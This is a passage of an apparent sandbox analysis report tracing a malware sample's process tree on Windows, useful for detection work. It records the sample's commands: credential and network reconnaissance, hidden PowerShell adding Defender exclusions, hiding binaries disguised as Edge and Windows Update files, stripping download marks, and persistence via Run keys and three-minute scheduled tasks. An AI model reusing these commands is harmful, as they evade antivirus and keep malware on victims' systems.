    C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles state"
    3⤵
    PID:4188
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:996
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall show allprofiles state
      4⤵
      Modifies Windows Firewall
      PID:5376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4704
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3276
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s 2>nul"
    3⤵
    PID:3660
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s
      4⤵
      PID:5704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" 2>nul"
    3⤵
    PID:3224
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1852
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
      4⤵
      PID:5036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmdkey /list"
    3⤵
    PID:3684
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6080
  - - C:\Windows\system32\cmdkey.exe
      cmdkey /list
      4⤵
      PID:3372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s 2>nul"
    3⤵
    PID:3392
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s
      4⤵
      PID:572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s 2>nul"
    3⤵
    PID:2272
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s
      4⤵
      PID:4708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:2916
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5496
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:5236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:4616
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5768
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:5788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName,productState /format:csv 2>nul"
    3⤵
    PID:1596
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName,productState /format:csv
      4⤵
      PID:4560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic product get name,version /format:csv 2>nul"
    3⤵
    PID:5928
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic product get name,version /format:csv
      4⤵
      PID:4592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
    3⤵
    PID:4288
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
      4⤵
      PID:6092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName SystemRestore -ErrorAction SilentlyContinue | Select-Object CreationTime,Description,EventType | Format-Table -AutoSize""
    3⤵
    PID:6084
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-CimInstance -ClassName SystemRestore -ErrorAction SilentlyContinue | Select-Object CreationTime,Description,EventType | Format-Table -AutoSize"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      PID:2432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MsEdgeAutoUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:1996
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe"
    3⤵
    - Views/modifies file attributes
    PID:1624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:336
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier"
    3⤵
    PID:5920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MicrosoftEdgeUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:5392
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe"
    3⤵
    - Views/modifies file attributes
    PID:5740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4984
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier"
    3⤵
    PID:5256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Media Player\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wmlaunch.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2676
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe"
    3⤵
    - Views/modifies file attributes
    PID:4280
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:5764
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier"
    3⤵
    PID:1084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"SearchFilterHost.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:1780
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe"
    3⤵
    - Views/modifies file attributes
    PID:4500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:2908
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier"
    3⤵
    PID:2488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wuauclt.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2724
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe"
    3⤵
    - Views/modifies file attributes
    PID:3276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4652
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier"
    3⤵
    PID:5112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f 2>nul"
  2⤵
  PID:3576
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f
    3⤵
    PID:1788
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f
      4⤵
      PID:1852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f 2>nul"
  2⤵
  PID:1008
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f
    3⤵
    PID:5472
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f
      4⤵
      PID:2464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f 2>nul"
  2⤵
  PID:4868
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f
    3⤵
    PID:5340
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f
      4⤵
      PID:812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "MicrosoftEdgeUpdate" /f 2>nul"
  2⤵
  - Indicator Removal: Clear Persistence
  PID:232
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "MicrosoftEdgeUpdate" /f
    3⤵
    PID:3408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f"
  2⤵
  PID:5992
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f
    3⤵
    PID:340
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:5984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_0_1780365604801.xml" /f"
  2⤵
  PID:2932
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_0_1780365604801.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:2528
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5280
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:4848
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_1_1780365604942.xml" /f"
  2⤵
  PID:6032
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_1_1780365604942.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:3528
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:2532
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_2_1780365605051.xml" /f"
  2⤵
  PID:5676
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_2_1780365605051.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:4904
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:1080
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6108
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_3_1780365605161.xml" /f"
  2⤵
  PID:760
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_3_1780365605161.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:2152
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5152
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc_timer" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:5944
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3636
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc_timer" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_4_1780365605254.xml" /f"
  2⤵
  PID:412
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4524
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_4_1780365605254.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:3584
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2080
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:4584
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f"
  2⤵
  PID:3972
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f
    3⤵
    PID:1316
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:4072
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f"
  2⤵
  PID:1768
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:712
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f
    3⤵
    PID:6056
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:5856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f"
  2⤵
  PID:3716
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f
    3⤵
    PID:2540
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:4104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f"
  2⤵
  PID:3012
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2488
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f
    3⤵
    PID:5320
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:5752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Temp\2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:1808
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Temp\2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier"
    3⤵
    PID:6012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:2396
